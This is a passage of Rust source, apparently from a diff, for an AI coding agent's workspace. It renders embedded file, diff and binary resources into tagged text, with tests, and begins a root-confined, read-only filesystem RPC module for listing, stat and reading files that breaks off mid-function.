/// Parses URIs in the format: `file://[path]#L[start]-[end]` or `file://[path]#L[start]-L[end]`
|
||||
///
|
||||
/// When content exceeds [`MAX_FILE_TOKENS`], the text is written to
|
||||
/// `~/.kigi/sessions/{cwd}/{session_id}/pasted/` so the model can `read_file`
|
||||
/// specific sections instead of receiving the full content inline.
|
||||
///
|
||||
/// Binary blob resources are written to `attachments/` and a path hint is returned.
|
||||
pub async fn render_embedded_resource(
|
||||
resource: &EmbeddedResource,
|
||||
is_cursor: bool,
|
||||
) -> Option<String> {
|
||||
match &resource.resource {
|
||||
EmbeddedResourceResource::TextResourceContents(text_resource)
|
||||
if text_resource.mime_type.as_deref() == Some("text/x-diff") =>
|
||||
{
|
||||
render_diff_resource(text_resource).await
|
||||
}
|
||||
EmbeddedResourceResource::TextResourceContents(text_resource) => {
|
||||
render_text_resource(text_resource, is_cursor).await
|
||||
}
|
||||
EmbeddedResourceResource::BlobResourceContents(blob) => render_blob_attachment(blob).await,
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
async fn render_text_resource(
|
||||
text_resource: &agent_client_protocol::TextResourceContents,
|
||||
is_cursor: bool,
|
||||
) -> Option<String> {
|
||||
let re = Regex::new(FILE_REGEX).ok()?;
|
||||
let caps = re.captures(&text_resource.uri)?;
|
||||
let path = caps.get(1)?.as_str();
|
||||
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
|
||||
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
|
||||
let line_offset = start_line.unwrap_or(1);
|
||||
let file_content = text_resource
|
||||
.text
|
||||
.lines()
|
||||
.enumerate()
|
||||
.map(|(line_number, content)| format!("{}→{content}", line_offset + line_number))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
let attrs = match (start_line, end_line) {
|
||||
(Some(s), Some(e)) => format!(r#"startLine="{}" endLine="{}""#, s, e),
|
||||
_ => r#"isFullFile="true""#.to_string(),
|
||||
};
|
||||
let (tag, attrs_str) = ("file_contents", attrs);
|
||||
let _ = is_cursor;
|
||||
if estimate_tokens(&file_content) > MAX_FILE_TOKENS {
|
||||
let dest = write_to_session_subdir("pasted", path, text_resource.text.as_bytes()).await;
|
||||
let display_path = dest
|
||||
.as_ref()
|
||||
.map(|p| p.to_string_lossy().into_owned())
|
||||
.unwrap_or_else(|| path.to_string());
|
||||
return Some(format!(
|
||||
r#"<{tag} path="{display_path}" {attrs_str} skipped="true" reason="file too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
|
||||
estimate_tokens(&file_content),
|
||||
));
|
||||
}
|
||||
Some(format!(
|
||||
r#"<{tag} path="{path}" {attrs_str}>
|
||||
{file_content}
|
||||
</{tag}>"#
|
||||
))
|
||||
}
|
||||
/// Render a diff citation as `<diff_contents>`.
|
||||
///
|
||||
/// The text is passed through verbatim (no line-number rewriting) since it
|
||||
/// represents a change, not a file snapshot.
|
||||
async fn render_diff_resource(
|
||||
text_resource: &agent_client_protocol::TextResourceContents,
|
||||
) -> Option<String> {
|
||||
let re = Regex::new(FILE_REGEX).ok()?;
|
||||
let caps = re.captures(&text_resource.uri)?;
|
||||
let path = caps.get(1)?.as_str();
|
||||
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
|
||||
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
|
||||
let mut attrs = Vec::new();
|
||||
if let Some(s) = start_line {
|
||||
attrs.push(format!(r#"startLine="{s}""#));
|
||||
}
|
||||
if let Some(e) = end_line {
|
||||
attrs.push(format!(r#"endLine="{e}""#));
|
||||
}
|
||||
let attrs_str = if attrs.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!(" {}", attrs.join(" "))
|
||||
};
|
||||
if estimate_tokens(&text_resource.text) > MAX_FILE_TOKENS {
|
||||
let dest = write_to_session_subdir("pasted", path, text_resource.text.as_bytes()).await;
|
||||
let display_path = dest
|
||||
.as_ref()
|
||||
.map(|p| p.to_string_lossy().into_owned())
|
||||
.unwrap_or_else(|| path.to_string());
|
||||
return Some(format!(
|
||||
r#"<diff_contents path="{display_path}"{attrs_str} skipped="true" reason="diff too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
|
||||
estimate_tokens(&text_resource.text),
|
||||
));
|
||||
}
|
||||
Some(format!(
|
||||
r#"<diff_contents path="{path}"{attrs_str}>
|
||||
{text}
|
||||
</diff_contents>"#,
|
||||
text = text_resource.text,
|
||||
))
|
||||
}
|
||||
/// Decode base64 blob, write to `attachments/`, return `<file_contents type="binary">` hint.
|
||||
async fn render_blob_attachment(blob: &BlobResourceContents) -> Option<String> {
|
||||
let raw_name = blob.uri.strip_prefix("file://").unwrap_or(&blob.uri);
|
||||
let filename = PathBuf::from(raw_name)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().into_owned())
|
||||
.unwrap_or_else(|| "attachment".to_string());
|
||||
let bytes = match general_purpose::STANDARD.decode(&blob.blob) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
warn!("binary attachment {filename}: base64 decode failed: {e}");
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let size = bytes.len();
|
||||
let mime = blob
|
||||
.mime_type
|
||||
.as_deref()
|
||||
.unwrap_or("application/octet-stream");
|
||||
let dest = write_to_session_subdir("attachments", &filename, &bytes).await?;
|
||||
let path = dest.to_string_lossy();
|
||||
Some(format!(
|
||||
r#"<file_contents type="binary" path="{path}" mime_type="{mime}" size="{size}"/>"#
|
||||
))
|
||||
}
|
||||
/// Base directory for Phase-1 session-scoped scratch files. Namespaced by PID so
|
||||
/// concurrent test processes (repeated or parallel CI test runs that share
|
||||
/// `/tmp`) never collide on identical content-hash paths and
|
||||
/// race each other's cleanup. The real session_dir lives in shell persistence.
|
||||
fn session_scratch_root() -> PathBuf {
|
||||
std::env::temp_dir().join(format!("grok-test-sessions-{}", std::process::id()))
|
||||
}
|
||||
/// Write content to session subdir, return absolute path on success.
|
||||
/// Uses content hash prefix for dedup: identical content → same path, different content → unique path.
|
||||
async fn write_to_session_subdir(subdir: &str, filename: &str, content: &[u8]) -> Option<PathBuf> {
|
||||
let dir = session_scratch_root().join(subdir);
|
||||
if let Err(e) = tokio::fs::create_dir_all(&dir).await {
|
||||
warn!("failed to create {subdir} directory: {e}");
|
||||
return None;
|
||||
}
|
||||
let basename = PathBuf::from(filename)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().into_owned())
|
||||
.unwrap_or_else(|| filename.to_string());
|
||||
let hash = content_hash(content);
|
||||
let dest = dir.join(format!("{hash}-{basename}"));
|
||||
if dest.exists() {
|
||||
return Some(dest);
|
||||
}
|
||||
if let Err(e) = tokio::fs::write(&dest, content).await {
|
||||
warn!("failed to write to {}: {e}", dest.display());
|
||||
return None;
|
||||
}
|
||||
Some(dest)
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
#[test]
|
||||
fn test_file_url_regex() {
|
||||
let expected = vec![
|
||||
(
|
||||
"file://Users/alice/first.txt#L10-20",
|
||||
"Users/alice/first.txt",
|
||||
"10",
|
||||
"20",
|
||||
),
|
||||
(
|
||||
"file://Users/alice/second.txt#L12-L44",
|
||||
"Users/alice/second.txt",
|
||||
"12",
|
||||
"44",
|
||||
),
|
||||
];
|
||||
let re = Regex::new(FILE_REGEX).unwrap();
|
||||
for (path, expected_path, expected_start, expected_end) in expected {
|
||||
let captures = re.captures(path).unwrap();
|
||||
assert_eq!(captures.get(1).unwrap().as_str(), expected_path);
|
||||
assert_eq!(captures.get(2).unwrap().as_str(), expected_start);
|
||||
assert_eq!(captures.get(3).unwrap().as_str(), expected_end);
|
||||
}
|
||||
}
|
||||
#[test]
|
||||
fn test_file_path_regex() {
|
||||
let path = "/Users/test/019c6024-aef0-7472-89ec-65b62c577c09/prompt_3.txt#L929-L933";
|
||||
let re = Regex::new(FILE_REGEX).unwrap();
|
||||
let captures = re.captures(path).unwrap();
|
||||
assert_eq!(
|
||||
captures.get(1).unwrap().as_str(),
|
||||
"/Users/test/019c6024-aef0-7472-89ec-65b62c577c09/prompt_3.txt"
|
||||
);
|
||||
assert_eq!(captures.get(2).unwrap().as_str(), "929");
|
||||
assert_eq!(captures.get(3).unwrap().as_str(), "933");
|
||||
}
|
||||
fn file_reference(
|
||||
path: &str,
|
||||
start_line: Option<usize>,
|
||||
end_line: Option<usize>,
|
||||
) -> Option<FileReference> {
|
||||
Some(FileReference {
|
||||
path: PathBuf::from(path),
|
||||
start_line,
|
||||
end_line,
|
||||
})
|
||||
}
|
||||
#[test]
|
||||
fn test_parse_file_references() {
|
||||
let data: Vec<(&str, Option<FileReference>)> = vec![
|
||||
("", None),
|
||||
("@", None),
|
||||
("@@foo", None),
|
||||
("foo", file_reference("foo", None, None)),
|
||||
("@foo", file_reference("foo", None, None)),
|
||||
(
|
||||
"@Users/test/bar",
|
||||
file_reference("Users/test/bar", None, None),
|
||||
),
|
||||
(
|
||||
"@Users/test/bar:1-12",
|
||||
file_reference("Users/test/bar", Some(1), Some(12)),
|
||||
),
|
||||
(
|
||||
"@/asdf/asdf/asdf/asdf/asdf:L1-12",
|
||||
file_reference("/asdf/asdf/asdf/asdf/asdf", Some(1), Some(12)),
|
||||
),
|
||||
(
|
||||
"@ssasdf/asdf/dsa/fsda/f/sdf/:L1-L12",
|
||||
file_reference("ssasdf/asdf/dsa/fsda/f/sdf/", Some(1), Some(12)),
|
||||
),
|
||||
(
|
||||
"/home/user/project/src/main.rs",
|
||||
file_reference("/home/user/project/src/main.rs", None, None),
|
||||
),
|
||||
(
|
||||
"src/lib.rs:10-20",
|
||||
file_reference("src/lib.rs", Some(10), Some(20)),
|
||||
),
|
||||
(
|
||||
"@my.project/src/file.test.rs:L100-L200",
|
||||
file_reference("my.project/src/file.test.rs", Some(100), Some(200)),
|
||||
),
|
||||
("@foo.rs:L5-L5", file_reference("foo.rs", Some(5), Some(5))),
|
||||
];
|
||||
for (input, expected) in data {
|
||||
let reference = FileReference::parse(input);
|
||||
assert_eq!(reference, expected, "Failed for input: {input:?}");
|
||||
}
|
||||
}
|
||||
#[test]
|
||||
fn test_estimate_tokens() {
|
||||
assert_eq!(estimate_tokens(""), 0);
|
||||
assert_eq!(estimate_tokens("abcd"), 1);
|
||||
assert_eq!(estimate_tokens("abcdefgh"), 2);
|
||||
assert_eq!(estimate_tokens(&"x".repeat(20_000)), 5_000);
|
||||
}
|
||||
fn test_info(suffix: &str) -> String {
|
||||
format!("test-session-{suffix}")
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_embedded_resource_large_file_skipped() {
|
||||
let large_content = "x".repeat(80).repeat(300);
|
||||
let _info = test_info("large-file");
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
|
||||
agent_client_protocol::TextResourceContents::new(
|
||||
large_content.clone(),
|
||||
"file:///project/huge.rs",
|
||||
),
|
||||
));
|
||||
let rendered = render_embedded_resource(&resource, true).await.unwrap();
|
||||
assert!(rendered.contains("skipped=\"true\""));
|
||||
assert!(!rendered.contains("xxxxxxxx"));
|
||||
assert!(rendered.contains("pasted"));
|
||||
assert!(rendered.contains("huge.rs"));
|
||||
let hash = content_hash(large_content.as_bytes());
|
||||
let expected_path = persistence::session_dir(&_info).join(format!("pasted/{hash}-huge.rs"));
|
||||
assert!(
|
||||
expected_path.exists(),
|
||||
"expected {}",
|
||||
expected_path.display()
|
||||
);
|
||||
let _ = std::fs::remove_file(&expected_path);
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_embedded_resource_small_file_included() {
|
||||
let _info = test_info("small-file");
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
|
||||
agent_client_protocol::TextResourceContents::new(
|
||||
"fn main() {}\n",
|
||||
"file:///project/small.rs",
|
||||
),
|
||||
));
|
||||
let rendered = render_embedded_resource(&resource, true).await.unwrap();
|
||||
assert!(rendered.contains("fn main()"));
|
||||
assert!(!rendered.contains("skipped"));
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_blob_attachment_written_to_disk() {
|
||||
use base64::{Engine as _, engine::general_purpose};
|
||||
let _info = test_info("blob-write");
|
||||
let content = b"fake pdf bytes";
|
||||
let encoded = general_purpose::STANDARD.encode(content);
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::BlobResourceContents(
|
||||
agent_client_protocol::BlobResourceContents::new(encoded.clone(), "file://report.pdf")
|
||||
.mime_type(Some("application/pdf".to_string())),
|
||||
));
|
||||
let rendered = render_embedded_resource(&resource, false).await.unwrap();
|
||||
assert!(rendered.contains("file_contents"), "got: {rendered}");
|
||||
assert!(rendered.contains(r#"type="binary""#), "got: {rendered}");
|
||||
assert!(rendered.contains("report.pdf"), "got: {rendered}");
|
||||
assert!(rendered.contains("application/pdf"), "got: {rendered}");
|
||||
assert!(
|
||||
rendered.contains(&content.len().to_string()),
|
||||
"got: {rendered}"
|
||||
);
|
||||
assert!(
|
||||
!rendered.contains(&encoded),
|
||||
"blob leaked into hint: {rendered}"
|
||||
);
|
||||
let hash = content_hash(content);
|
||||
let expected =
|
||||
persistence::session_dir(&_info).join(format!("attachments/{hash}-report.pdf"));
|
||||
assert!(
|
||||
expected.exists(),
|
||||
"attachment not written to disk at {}",
|
||||
expected.display()
|
||||
);
|
||||
assert_eq!(std::fs::read(&expected).unwrap(), content);
|
||||
let _ = std::fs::remove_file(&expected);
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_blob_attachment_bad_base64_returns_none() {
|
||||
let _info = test_info("blob-bad-b64");
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::BlobResourceContents(
|
||||
agent_client_protocol::BlobResourceContents::new(
|
||||
"!!! not valid base64 !!!",
|
||||
"file://bad.pdf",
|
||||
),
|
||||
));
|
||||
let result = render_embedded_resource(&resource, false).await;
|
||||
assert!(
|
||||
result.is_none(),
|
||||
"expected None for bad base64, got: {result:?}"
|
||||
);
|
||||
}
|
||||
fn diff_resource(uri: &str, text: &str) -> EmbeddedResource {
|
||||
EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
|
||||
agent_client_protocol::TextResourceContents::new(text, uri)
|
||||
.mime_type(Some("text/x-diff".to_string())),
|
||||
))
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_diff_resource_uses_diff_contents_tag() {
|
||||
let _info = test_info("diff-small");
|
||||
let resource = diff_resource(
|
||||
"file:///project/main.rs#L10-L12",
|
||||
"+ new line\n context\n- old line",
|
||||
);
|
||||
let rendered = render_embedded_resource(&resource, true).await.unwrap();
|
||||
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
|
||||
assert!(rendered.contains("</diff_contents>"), "got: {rendered}");
|
||||
assert!(
|
||||
rendered.contains(r#"path="/project/main.rs""#),
|
||||
"got: {rendered}"
|
||||
);
|
||||
assert!(rendered.contains(r#"startLine="10""#), "got: {rendered}");
|
||||
assert!(rendered.contains(r#"endLine="12""#), "got: {rendered}");
|
||||
assert!(rendered.contains("+ new line"), "got: {rendered}");
|
||||
assert!(rendered.contains("- old line"), "got: {rendered}");
|
||||
assert!(!rendered.contains("code_selection"), "got: {rendered}");
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_diff_resource_without_line_range() {
|
||||
let _info = test_info("diff-no-range");
|
||||
let resource = diff_resource("file:///project/lib.rs", " unchanged line");
|
||||
let rendered = render_embedded_resource(&resource, true).await.unwrap();
|
||||
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
|
||||
assert!(
|
||||
rendered.contains(r#"path="/project/lib.rs""#),
|
||||
"got: {rendered}"
|
||||
);
|
||||
assert!(!rendered.contains("startLine"), "got: {rendered}");
|
||||
assert!(!rendered.contains("endLine"), "got: {rendered}");
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_render_diff_resource_large_skipped() {
|
||||
let large_diff = "x".repeat(80).repeat(300);
|
||||
let _info = test_info("diff-large");
|
||||
let resource = diff_resource("file:///project/big.rs#L1-L999", &large_diff);
|
||||
let rendered = render_embedded_resource(&resource, true).await.unwrap();
|
||||
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
|
||||
assert!(rendered.contains("skipped=\"true\""), "got: {rendered}");
|
||||
assert!(
|
||||
!rendered.contains("xxxxxxxx"),
|
||||
"full content leaked: {rendered}"
|
||||
);
|
||||
assert!(rendered.contains("pasted"), "got: {rendered}");
|
||||
let hash = content_hash(large_diff.as_bytes());
|
||||
let expected = persistence::session_dir(&_info).join(format!("pasted/{hash}-big.rs"));
|
||||
let _ = std::fs::remove_file(&expected);
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_grok_render_embedded_resource_uses_file_contents_tag() {
|
||||
let _info = test_info("grok-text");
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
|
||||
agent_client_protocol::TextResourceContents::new(
|
||||
"const x = 1;\nconst y = 2;\n",
|
||||
"file:///project/app.ts#L5-L6",
|
||||
),
|
||||
));
|
||||
let rendered = render_embedded_resource(&resource, false).await.unwrap();
|
||||
assert!(rendered.contains("<file_contents"), "got: {rendered}");
|
||||
assert!(rendered.contains("</file_contents>"), "got: {rendered}");
|
||||
assert!(rendered.contains(r#"startLine="5""#), "got: {rendered}");
|
||||
assert!(rendered.contains(r#"endLine="6""#), "got: {rendered}");
|
||||
assert!(!rendered.contains("code_selection"), "got: {rendered}");
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn test_grok_render_embedded_resource_full_file_uses_is_full_file() {
|
||||
let _info = test_info("grok-full-file");
|
||||
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
|
||||
agent_client_protocol::TextResourceContents::new(
|
||||
"fn main() {}\n",
|
||||
"file:///project/main.rs",
|
||||
),
|
||||
));
|
||||
let rendered = render_embedded_resource(&resource, false).await.unwrap();
|
||||
assert!(rendered.contains("<file_contents"), "got: {rendered}");
|
||||
assert!(rendered.contains(r#"isFullFile="true""#), "got: {rendered}");
|
||||
assert!(!rendered.contains("code_selection"), "got: {rendered}");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,775 @@
|
||||
//! Read-only filesystem helpers backing the client-facing
|
||||
//! `workspace.client_fs_*` RPCs (the grok.com conversation-files UI,
|
||||
//! tunneled through the server).
|
||||
//!
|
||||
//! Deliberately separate from the shell-facing ext ops in
|
||||
//! [`ext_fs`](super::ext_fs): every path here is workspace-root-relative
|
||||
//! and resolves through the root-confinement helper
|
||||
//! (`WorkspaceHandle::resolve_service_path`), the list walk excludes
|
||||
//! symlinks that resolve outside the root (and never descends into
|
||||
//! them), listings paginate with stable post-sort slices, and reads are
|
||||
//! binary-safe (base64 chunks).
|
||||
//!
|
||||
//! Wire types live in `kigi_workspace_types::rpc::fs` (the
|
||||
//! `ClientFs*` types), shared with the backend caller.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use kigi_workspace_types::rpc::fs::{
|
||||
ClientFsListNode as FsListNode, ClientFsListReq as FsListReq, ClientFsListRes as FsListRes,
|
||||
ClientFsReadFileReq as FsReadFileReq, ClientFsReadFileRes as FsReadFileRes,
|
||||
ClientFsStatReq as FsStatReq, ClientFsStatRes as FsStatRes, FsContentType, FsNodeType,
|
||||
};
|
||||
|
||||
use crate::error::{WorkspaceError, WorkspaceResult};
|
||||
use crate::handle::WorkspaceHandle;
|
||||
|
||||
/// Hard cap on entries collected per list call before sorting (shared
|
||||
/// across all fs surfaces; see [`super::walk::MAX_LIST_COLLECT`]).
|
||||
const MAX_LIST_COLLECT: usize = super::walk::MAX_LIST_COLLECT;
|
||||
|
||||
/// Server-side cap on `FsListReq::limit`.
|
||||
const MAX_LIST_LIMIT: u32 = 1000;
|
||||
|
||||
/// Server-side cap on a single read's effective byte budget (shared
|
||||
/// across all fs surfaces; see [`super::walk::MAX_READ_BYTES`]). Only
|
||||
/// referenced by tests now that the clamp lives in `walk::clamp_read_length`.
|
||||
#[cfg(test)]
|
||||
const MAX_READ_BYTES: u64 = super::walk::MAX_READ_BYTES;
|
||||
|
||||
/// Bound on memoized hashes; the memo is cleared (not LRU-evicted) when
|
||||
/// full — entries simply re-hash on next use.
|
||||
const HASH_MEMO_CAPACITY: usize = 4096;
|
||||
|
||||
// =========================================================================
|
||||
// (path, size, mtime_ms) → hash memo
|
||||
// =========================================================================
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct MemoEntry {
|
||||
size: u64,
|
||||
mtime_ms: i64,
|
||||
hash: String,
|
||||
}
|
||||
|
||||
/// Memo of full-content SHA-256 digests keyed by absolute path and
|
||||
/// validated against `(size, mtime_ms)`, so unchanged files hash once
|
||||
/// instead of on every `client_fs_stat`. The memo only avoids redundant
|
||||
/// hashing — it never substitutes mtime for content addressing: a
|
||||
/// `(size, mtime_ms)` mismatch is a miss and the caller re-hashes.
|
||||
#[derive(Debug, Default)]
|
||||
pub(crate) struct FileHashMemo {
|
||||
entries: parking_lot::Mutex<HashMap<PathBuf, MemoEntry>>,
|
||||
}
|
||||
|
||||
impl FileHashMemo {
|
||||
/// Return the memoized hash when `(size, mtime_ms)` still match.
|
||||
pub(crate) fn lookup(&self, path: &Path, size: u64, mtime_ms: i64) -> Option<String> {
|
||||
let entries = self.entries.lock();
|
||||
let entry = entries.get(path)?;
|
||||
(entry.size == size && entry.mtime_ms == mtime_ms).then(|| entry.hash.clone())
|
||||
}
|
||||
|
||||
/// Record a freshly computed hash, replacing any stale entry for the
|
||||
/// same path. Clears the whole memo when inserting a new path would
|
||||
/// exceed [`HASH_MEMO_CAPACITY`].
|
||||
pub(crate) fn store(&self, path: &Path, size: u64, mtime_ms: i64, hash: String) {
|
||||
let mut entries = self.entries.lock();
|
||||
if !entries.contains_key(path) && entries.len() >= HASH_MEMO_CAPACITY {
|
||||
entries.clear();
|
||||
}
|
||||
entries.insert(
|
||||
path.to_path_buf(),
|
||||
MemoEntry {
|
||||
size,
|
||||
mtime_ms,
|
||||
hash,
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Path resolution
|
||||
// =========================================================================
|
||||
|
||||
/// Resolve a root-relative request path through the workspace's
|
||||
/// root-confinement helper, returning the resolved path together with the
|
||||
/// canonical root it was checked against. `""` and `"."` mean the
|
||||
/// workspace root; absolute paths, `..` escapes, and symlink escapes are
|
||||
/// rejected there.
|
||||
async fn resolve_with_root(
|
||||
ws: &WorkspaceHandle,
|
||||
path: &str,
|
||||
) -> WorkspaceResult<(PathBuf, PathBuf)> {
|
||||
let rel = if path.is_empty() { "." } else { path };
|
||||
let canonical_root = ws.canonical_root().await?;
|
||||
let abs = ws.resolve_service_path(rel, &canonical_root).await?;
|
||||
Ok((abs, canonical_root))
|
||||
}
|
||||
|
||||
/// [`resolve_with_root`] for callers that don't need the canonical root.
|
||||
async fn resolve(ws: &WorkspaceHandle, path: &str) -> WorkspaceResult<PathBuf> {
|
||||
resolve_with_root(ws, path).await.map(|(abs, _)| abs)
|
||||
}
|
||||
|
||||
fn system_time_ms(st: std::time::SystemTime) -> i64 {
|
||||
match st.duration_since(std::time::UNIX_EPOCH) {
|
||||
Ok(d) => i64::try_from(d.as_millis()).unwrap_or(i64::MAX),
|
||||
Err(e) => -i64::try_from(e.duration().as_millis()).unwrap_or(i64::MAX),
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// list
|
||||
// =========================================================================
|
||||
|
||||
/// List `req.path` (workspace-root-relative) with stable pagination:
|
||||
/// collect the full walk (bounded by [`MAX_LIST_COLLECT`]), sort
|
||||
/// directories-first / case-insensitive by name, then slice
|
||||
/// `[offset, offset + limit)`. Symlinks resolving outside the workspace
|
||||
/// root are excluded from the walk (and never descended into).
|
||||
pub(crate) async fn list(ws: &WorkspaceHandle, req: &FsListReq) -> WorkspaceResult<FsListRes> {
|
||||
let (abs, canonical_root) = resolve_with_root(ws, &req.path).await?;
|
||||
let root = ws.root_cwd()?;
|
||||
let req = req.clone();
|
||||
// The walk does synchronous traversal + metadata syscalls; run it off
|
||||
// the async executor (matching the ext_fs ops).
|
||||
tokio::task::spawn_blocking(move || {
|
||||
list_blocking(&abs, &root, &canonical_root, &req, MAX_LIST_COLLECT)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::JoinError(e.to_string()))?
|
||||
}
|
||||
|
||||
fn list_blocking(
|
||||
abs_dir: &Path,
|
||||
root: &Path,
|
||||
canonical_root: &Path,
|
||||
req: &FsListReq,
|
||||
max_collect: usize,
|
||||
) -> WorkspaceResult<FsListRes> {
|
||||
// Root confinement also holds mid-walk: a symlink inside the root
|
||||
// pointing outside must not enumerate outside metadata.
|
||||
let page = super::walk::list_directory_paged(
|
||||
abs_dir,
|
||||
super::walk::ListOptions {
|
||||
depth: req.depth as usize,
|
||||
follow_symlinks: req.follow_symlinks,
|
||||
respect_git_ignore: req.respect_git_ignore,
|
||||
include_hidden: req.include_hidden,
|
||||
include_globs: &req.include_globs,
|
||||
exclude_globs: &req.exclude_globs,
|
||||
offset: req.offset,
|
||||
limit: req.limit.min(MAX_LIST_LIMIT) as usize,
|
||||
confine_to_canonical_root: Some(canonical_root.to_path_buf()),
|
||||
},
|
||||
max_collect,
|
||||
);
|
||||
|
||||
let nodes: Vec<FsListNode> = page
|
||||
.entries
|
||||
.into_iter()
|
||||
.map(|e| FsListNode {
|
||||
node_type: if e.is_dir {
|
||||
FsNodeType::Directory
|
||||
} else {
|
||||
FsNodeType::File
|
||||
},
|
||||
size: e.size,
|
||||
mtime_ms: e.modified.map(system_time_ms),
|
||||
is_symlink: e.is_symlink.then_some(true),
|
||||
// Root-relative path (divergent from the shell's absolute path).
|
||||
// A walk under a symlinked root yields canonical-root-spelled
|
||||
// entries, so strip either spelling.
|
||||
path: e
|
||||
.abs_path
|
||||
.strip_prefix(root)
|
||||
.or_else(|_| e.abs_path.strip_prefix(canonical_root))
|
||||
.unwrap_or(&e.abs_path)
|
||||
.to_string_lossy()
|
||||
.into_owned(),
|
||||
name: e.name,
|
||||
})
|
||||
.collect();
|
||||
|
||||
Ok(FsListRes {
|
||||
nodes,
|
||||
truncated: page.truncated,
|
||||
})
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// stat
|
||||
// =========================================================================
|
||||
|
||||
/// Stat `req.path`: existence, kind, size, mtime, and — for files — a
|
||||
/// full-content SHA-256 served through the workspace hash memo.
|
||||
pub(crate) async fn stat(ws: &WorkspaceHandle, req: &FsStatReq) -> WorkspaceResult<FsStatRes> {
|
||||
let abs = resolve(ws, &req.path).await?;
|
||||
let md = match tokio::fs::metadata(&abs).await {
|
||||
Ok(md) => md,
|
||||
// NotADirectory: a *file* sits mid-path (e.g. `a.txt/sub`) — for an
|
||||
// existence probe that is a miss, not an RPC error.
|
||||
Err(e)
|
||||
if e.kind() == std::io::ErrorKind::NotFound
|
||||
|| e.kind() == std::io::ErrorKind::NotADirectory =>
|
||||
{
|
||||
return Ok(FsStatRes {
|
||||
exists: false,
|
||||
node_type: None,
|
||||
size: None,
|
||||
mtime_ms: None,
|
||||
hash: None,
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(WorkspaceError::HubError(format!(
|
||||
"stat failed for {}: {e}",
|
||||
req.path
|
||||
)));
|
||||
}
|
||||
};
|
||||
let mtime_ms = md.modified().ok().map(system_time_ms);
|
||||
if md.is_dir() {
|
||||
return Ok(FsStatRes {
|
||||
exists: true,
|
||||
node_type: Some(FsNodeType::Directory),
|
||||
size: None,
|
||||
mtime_ms,
|
||||
hash: None,
|
||||
});
|
||||
}
|
||||
let size = md.len();
|
||||
let memo = &ws.shared.client_fs_hash_memo;
|
||||
let hash = match mtime_ms.and_then(|m| memo.lookup(&abs, size, m)) {
|
||||
Some(hash) => hash,
|
||||
None => {
|
||||
let (hash, _, _) = crate::handle::stream_hash_and_range(&abs, 0, 0)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
WorkspaceError::HubError(format!("hash failed for {}: {e}", req.path))
|
||||
})?;
|
||||
if let Some(m) = mtime_ms {
|
||||
memo.store(&abs, size, m, hash.clone());
|
||||
}
|
||||
hash
|
||||
}
|
||||
};
|
||||
Ok(FsStatRes {
|
||||
exists: true,
|
||||
node_type: Some(FsNodeType::File),
|
||||
size: Some(size),
|
||||
mtime_ms,
|
||||
hash: Some(hash),
|
||||
})
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// read_file
|
||||
// =========================================================================
|
||||
|
||||
/// Read a byte range of `req.path` (binary-safe, capped at
|
||||
/// `min(req.max_bytes, MAX_READ_BYTES)`) together with the full-file
|
||||
/// SHA-256. When the hash is memoized for the current `(size, mtime)`
|
||||
/// only the requested range is read; otherwise the whole file streams
|
||||
/// once (via the shared [`crate::handle::stream_hash_and_range`]) to
|
||||
/// hash it.
|
||||
pub(crate) async fn read_file(
|
||||
ws: &WorkspaceHandle,
|
||||
req: &FsReadFileReq,
|
||||
) -> WorkspaceResult<FsReadFileRes> {
|
||||
let abs = resolve(ws, &req.path).await?;
|
||||
let read_err =
|
||||
|e: std::io::Error| WorkspaceError::HubError(format!("read failed for {}: {e}", req.path));
|
||||
let md = tokio::fs::metadata(&abs).await.map_err(read_err)?;
|
||||
if md.is_dir() {
|
||||
return Err(WorkspaceError::HubError(format!(
|
||||
"not a file: {}",
|
||||
req.path
|
||||
)));
|
||||
}
|
||||
let size = md.len();
|
||||
let mtime_ms = md.modified().ok().map(system_time_ms);
|
||||
let offset = req.offset.unwrap_or(0);
|
||||
